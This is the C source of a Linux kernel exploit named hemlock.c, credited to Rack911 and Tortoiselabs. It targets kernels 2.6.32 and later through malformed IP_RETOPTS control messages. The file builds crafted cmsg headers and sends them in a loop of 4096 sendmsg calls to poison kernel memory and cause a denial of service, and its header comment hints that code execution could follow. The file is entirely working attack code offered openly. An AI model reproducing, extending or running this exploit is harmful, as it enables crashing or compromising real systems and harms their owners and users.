/* * hemlock.c * * Kernel 2.6.32+ IP_REPOPTS Buffer Poisoning DoS * Possible code execution, but someone else will have to do this part ;) * Brought to you by Rack911 & Tortoiselabs */ #include #include #include #include #include #include #include #include #include #include #define PAD (3) void poison(void) { int s, i, j; struct msghdr msghdr; struct iovec iovector[10]; struct sockaddr_in sockad; char msg[128]; char opts[24]; struct cmsghdr *cmsg, *cm2; s = socket(AF_INET, SOCK_DGRAM, 0); sockad.sin_family = AF_INET; sockad.sin_addr.s_addr = INADDR_LOOPBACK; sockad.sin_port = htons(8080); connect(s, (struct sockaddr *) &sockad, sizeof sockad); /* build dummy message */ memset(msg, 'a', sizeof msg); iovector[0].iov_base = msg; iovector[0].iov_len = sizeof(msg); /* build attack CMSG header */ memset(opts, 0, sizeof opts); cmsg = malloc((PAD * (sizeof(struct cmsghdr) + sizeof(msg) + sizeof(opts)) + 1024) * 1024); memset(cmsg, 0, (PAD * (sizeof(struct cmsghdr) + sizeof(msg) + sizeof(opts)) + 1024) * 1024); cmsg->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cmsg->cmsg_level = SOL_IP; cmsg->cmsg_type = IP_RETOPTS; memcpy(CMSG_DATA(cmsg), opts, sizeof(opts)); cm2= (struct cmsghdr *) ((char *) CMSG_DATA(cmsg) + sizeof(opts)); for (j = 0; j < PAD; j++) { cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(opts); cm2 = (struct cmsghdr *) ((char *) CMSG_DATA(cm2) + sizeof(opts)); } /* evil part */ cm2->cmsg_level = SOL_IP; cm2->cmsg_type = IP_RETOPTS; cm2->cmsg_len = sizeof(struct cmsghdr) + sizeof(void *); /* build attack msghdr */ msghdr.msg_name = &sockad; msghdr.msg_namelen = sizeof(sockad); msghdr.msg_control = cmsg; msghdr.msg_controllen = cmsg->cmsg_len + (j * cmsg->cmsg_len) + cm2->cmsg_len; msghdr.msg_iov = iovector; msghdr.msg_iovlen = 1; /* send attack message */ if (sendmsg(s, &msghdr, 0) < 0) { perror("[-] sendmsg"); exit(EXIT_FAILURE); } printf("[+] polluted kernelspace with more crap\n"); close(s); free(cmsg); } int main(int argc, const char *argv[]) { int i; printf("[+] giving ourselves some poison...\n"); for (i = 0; i < 4096; i++) poison(); printf("[-] failed.\n"); return EXIT_SUCCESS; }